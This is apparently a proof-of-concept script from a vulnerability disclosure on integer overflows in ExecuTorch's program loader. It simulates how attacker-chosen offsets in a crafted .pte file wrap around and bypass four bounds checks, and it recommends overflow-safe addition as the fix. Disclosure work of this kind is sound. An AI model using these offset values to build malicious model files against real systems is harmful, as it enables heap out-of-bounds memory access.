poc_F5_segment_offset_overflow.py

#!/usr/bin/env python3
"""
ExecuTorch Segment Offset Calculation Integer Overflows (CWE-190)
==================================================================

Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd

Affected File: runtime/executor/program.cpp
  - Line 96:  segment_base_offset + segment_data_size
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L96
  - Line 378: offset + nbytes (get_constant_buffer_data)
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L378
  - Line 504: segment_base_offset_ + segment->offset()
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L504
  - Line 589: segment_base_offset_ + segment->offset() + segment_info->segment_index()
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L589

CWE-190: Integer Overflow or Wraparound

Description:
  ExecuTorch's Program loader performs multiple offset arithmetic operations
  using values from the FlatBuffer schema (attacker-controlled in a malicious
  .pte file). These operations are performed on size_t (uint64_t on 64-bit)
  without overflow detection, allowing wraparound that bypasses subsequent
  bounds checks and leads to out-of-bounds memory access.

  All four overflow sites use the pattern:
    computed_offset = base + attacker_offset [+ attacker_offset2]
    if (computed_offset > limit) return error;  // bypassed by overflow

Impact:
  Heap out-of-bounds read/write through corrupted offset calculations.
  The attacker controls the offset values through the .pte FlatBuffer schema.
"""

import struct
import sys

UINT64_MAX = (1 << 64) - 1
SIZE_T_BITS = 64  # Assuming 64-bit platform


def uint64_add(a: int, b: int) -> int:
    """Simulate uint64_t addition with wraparound."""
    return (a + b) & UINT64_MAX


def uint64_add3(a: int, b: int, c: int) -> int:
    """Simulate uint64_t triple addition with wraparound."""
    return (a + b + c) & UINT64_MAX


def check_overflow(true_sum: int) -> bool:
    """Returns True if the sum overflows uint64_t."""
    return true_sum > UINT64_MAX


def print_overflow_analysis(label: str, operands: list, limit: int, limit_name: str):
    """Analyze and print an overflow scenario."""
    true_sum = sum(operands)
    wrapped_sum = true_sum & UINT64_MAX
    overflows = check_overflow(true_sum)
    bypasses_check = wrapped_sum <= limit and true_sum > limit

    print(f"  Operands:")
    for i, op in enumerate(operands):
        print(f"    {'+ ' if i > 0 else '  '}0x{op:016X}  ({op:,})")
    print(f"  True sum:    0x{true_sum:X}  ({true_sum:,})")
    print(f"  Wrapped sum: 0x{wrapped_sum:016X}  ({wrapped_sum:,})")
    print(f"  {limit_name}: 0x{limit:016X}  ({limit:,})")
    print(f"  Overflows:   {'YES' if overflows else 'NO'}")
    print(f"  wrapped <= {limit_name}: {'YES' if wrapped_sum <= limit else 'NO'}")
    print(f"  Bypasses check: {'>>> YES — OOB ACCESS <<<' if bypasses_check else 'No'}")
    print()


def main():
    print("=" * 78)
    print("ExecuTorch Segment Offset Integer Overflow PoC")
    print("CWE-190: Integer Overflow or Wraparound")
    print("=" * 78)
    print()

    # =========================================================================
    # OVERFLOW 1: program.cpp:96
    # segment_base_offset = header_size + flatbuffer_size (program_data_size)
    # if (segment_base_offset + segment_data_size > file_size) ...
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 1: program.cpp:96")
    print("  segment_base_offset + segment_data_size > file_size")
    print("=" * 78)
    print()
    print("  Code:")
    print("    size_t segment_base_offset = program_data_size;")
    print("    // ...")
    print("    if (segment_base_offset + segment_data_size > file_data_length) {")
    print("        return Error::InvalidProgram;")
    print("    }")
    print()
    print("  Attack: Set segment_data_size in .pte so the sum wraps.")
    print()

    # The segment_base_offset is derived from program data size (attacker-influenced)
    # segment_data_size comes from summing segment sizes in the FlatBuffer
    segment_base_offset_1 = 0x8000000000000000  # Large program_data_size
    segment_data_size_1 = 0x8000000000000100    # Large total segment size
    file_size_1 = 0x0000000000100000            # 1 MB file

    print(f"  Scenario: segment_base_offset=0x{segment_base_offset_1:X}, "
          f"segment_data_size=0x{segment_data_size_1:X}, file=1MB")
    print()
    print_overflow_analysis(
        "program.cpp:96",
        [segment_base_offset_1, segment_data_size_1],
        file_size_1,
        "file_data_length"
    )

    # =========================================================================
    # OVERFLOW 2: program.cpp:378
    # get_constant_buffer_data: offset + nbytes overflow
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 2: program.cpp:378")
    print("  offset + nbytes > constant_segment.size (get_constant_buffer_data)")
    print("=" * 78)
    print()
    print("  Code (get_constant_buffer_data):")
    print("    size_t offset = constant_buffer->storage_offset();")
    print("    size_t nbytes = constant_buffer->allocation_info()->memory_size_bytes();")
    print("    if (offset + nbytes > constant_segment.size) {")
    print("        return Error::InvalidProgram;")
    print("    }")
    print()
    print("  Attack: Craft constant_buffer with large storage_offset and memory_size_bytes.")
    print()

    offset_2 = 0xFFFFFFFFFFFF0000
    nbytes_2 = 0x0000000000020000   # 128 KB
    seg_size_2 = 0x0000000000010000  # 64 KB segment

    print(f"  Scenario: offset=0x{offset_2:X}, nbytes=0x{nbytes_2:X}, segment=64KB")
    print()
    print_overflow_analysis(
        "program.cpp:378",
        [offset_2, nbytes_2],
        seg_size_2,
        "constant_segment.size"
    )

    # Demonstrate the actual OOB read that follows
    wrapped_2 = uint64_add(offset_2, nbytes_2)
    print(f"  After check passes:")
    print(f"    Code does: return segment_data + offset;")
    print(f"    segment_data is a pointer to {seg_size_2} bytes")
    print(f"    offset = 0x{offset_2:X}")
    print(f"    Result: pointer {offset_2 - seg_size_2:,} bytes PAST segment end")
    print(f"    >>> Heap OOB read <<<")
    print()

    # =========================================================================
    # OVERFLOW 3: program.cpp:504
    # segment_base_offset_ + segment->offset()
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 3: program.cpp:504")
    print("  segment_base_offset_ + segment->offset()")
    print("=" * 78)
    print()
    print("  Code (load_segment_data):")
    print('    const void* segment_data = static_cast<const uint8_t*>(')
    print('        segment_data_.data) + segment_base_offset_ + segment->offset();')
    print()
    print("  This is pointer arithmetic — no bounds check at all!")
    print("  The sum is used directly as a memory offset.")
    print()

    seg_base_3 = 0xC000000000000000
    seg_offset_3 = 0x5000000000000000  # From FlatBuffer segment->offset()

    true_3 = seg_base_3 + seg_offset_3
    wrapped_3 = uint64_add(seg_base_3, seg_offset_3)

    print(f"  segment_base_offset_ = 0x{seg_base_3:016X}")
    print(f"  segment->offset()    = 0x{seg_offset_3:016X}")
    print(f"  True sum:              0x{true_3:X}")
    print(f"  Wrapped (uint64):      0x{wrapped_3:016X}")
    print()
    print(f"  If buffer is mapped at address P:")
    print(f"    Expected access: P + 0x{true_3:X} (way past buffer)")
    print(f"    Actual access:   P + 0x{wrapped_3:X} (wraps to small offset)")
    print()
    print(f"  The pointer arithmetic wraps, causing access to an earlier")
    print(f"  part of the mapped file or adjacent heap memory.")
    print(f"  >>> Type confusion / data corruption <<<")
    print()

    # =========================================================================
    # OVERFLOW 4: program.cpp:589
    # segment_base_offset_ + segment->offset() + segment_info->segment_index()
    # =========================================================================
    print("=" * 78)
    print("OVERFLOW 4: program.cpp:589")
    print("  segment_base_offset_ + segment->offset() + segment_info->segment_index()")
    print("=" * 78)
    print()
    print("  Code:")
    print('    size_t offset = segment_base_offset_ + segment->offset()')
    print('        + segment_info->segment_index();')
    print()
    print("  Triple addition — three attacker-controlled values summed")
    print("  without any overflow check.")
    print()

    seg_base_4 = 0x5555555555555555
    seg_off_4 = 0x5555555555555555
    seg_idx_4 = 0x5555555555555557  # Chosen so triple sum wraps to 0x0001

    true_4 = seg_base_4 + seg_off_4 + seg_idx_4
    wrapped_4 = uint64_add3(seg_base_4, seg_off_4, seg_idx_4)

    print(f"  segment_base_offset_ = 0x{seg_base_4:016X}")
    print(f"  segment->offset()    = 0x{seg_off_4:016X}")
    print(f"  segment_index()      = 0x{seg_idx_4:016X}")
    print(f"  True sum:              0x{true_4:X}")
    print(f"  Wrapped (uint64):      0x{wrapped_4:016X} = {wrapped_4}")
    print()
    print(f"  Three large values sum to 0x{wrapped_4:X} after overflow!")
    print(f"  The resulting offset points to the very beginning of the")
    print(f"  mapped data, regardless of where segments actually are.")
    print(f"  >>> Arbitrary offset within mapped memory <<<")
    print()

    # Additional scenario for overflow 4: just barely overflows
    seg_base_4b = UINT64_MAX - 100
    seg_off_4b = 50
    seg_idx_4b = 52  # Total = UINT64_MAX + 1 = wraps to 0

    true_4b = seg_base_4b + seg_off_4b + seg_idx_4b
    wrapped_4b = uint64_add3(seg_base_4b, seg_off_4b, seg_idx_4b)

    print(f"  Scenario B (minimal overflow):")
    print(f"  segment_base_offset_ = 0x{seg_base_4b:016X} (UINT64_MAX - 100)")
    print(f"  segment->offset()    = {seg_off_4b}")
    print(f"  segment_index()      = {seg_idx_4b}")
    print(f"  True sum:              0x{true_4b:X} (UINT64_MAX + 1 + 1)")
    print(f"  Wrapped (uint64):      0x{wrapped_4b:016X} = {wrapped_4b}")
    print(f"  >>> Wraps to offset {wrapped_4b}, bypasses any subsequent check <<<")
    print()

    # =========================================================================
    # Contrast with safe pattern (BufferDataLoader)
    # =========================================================================
    print("=" * 78)
    print("SAFE PATTERN: c10::add_overflows()")
    print("=" * 78)
    print()
    print("  BufferDataLoader (buffer_data_loader.h:38-41) uses the safe pattern:")
    print()
    print("    size_t total;")
    print("    if (c10::add_overflows(offset, size, &total) || total > data_size_) {")
    print("        return Error::InvalidArgument;")
    print("    }")
    print()
    print("  This detects the overflow BEFORE the comparison.")
    print("  All four overflow sites in program.cpp should use this pattern.")
    print()
    print("  Alternatively, use __builtin_add_overflow() or check:")
    print("    if (a > SIZE_MAX - b) { /* overflow */ }")
    print()

    # =========================================================================
    # Summary table
    # =========================================================================
    print("=" * 78)
    print("SUMMARY")
    print("=" * 78)
    print()
    print("  +--------+------------+------------------------------------------+")
    print("  |  Line  | # Operands | Expression                               |")
    print("  +--------+------------+------------------------------------------+")
    print("  |   96   |     2      | segment_base_offset + segment_data_size  |")
    print("  |  378   |     2      | offset + nbytes                          |")
    print("  |  504   |     2      | segment_base_offset_ + segment->offset() |")
    print("  |  589   |     3      | seg_base + seg->offset() + seg_index()   |")
    print("  +--------+------------+------------------------------------------+")
    print()
    print("  All 4 sites perform unchecked integer addition on attacker-controlled")
    print("  values from the .pte FlatBuffer schema. Overflow wraps the result to")
    print("  a small value, bypassing bounds checks and enabling OOB memory access.")
    print()
    print("  Fix: Use c10::add_overflows() or equivalent overflow-safe arithmetic")
    print("  for all offset calculations involving untrusted values.")

    return 1


if __name__ == "__main__":
    sys.exit(main())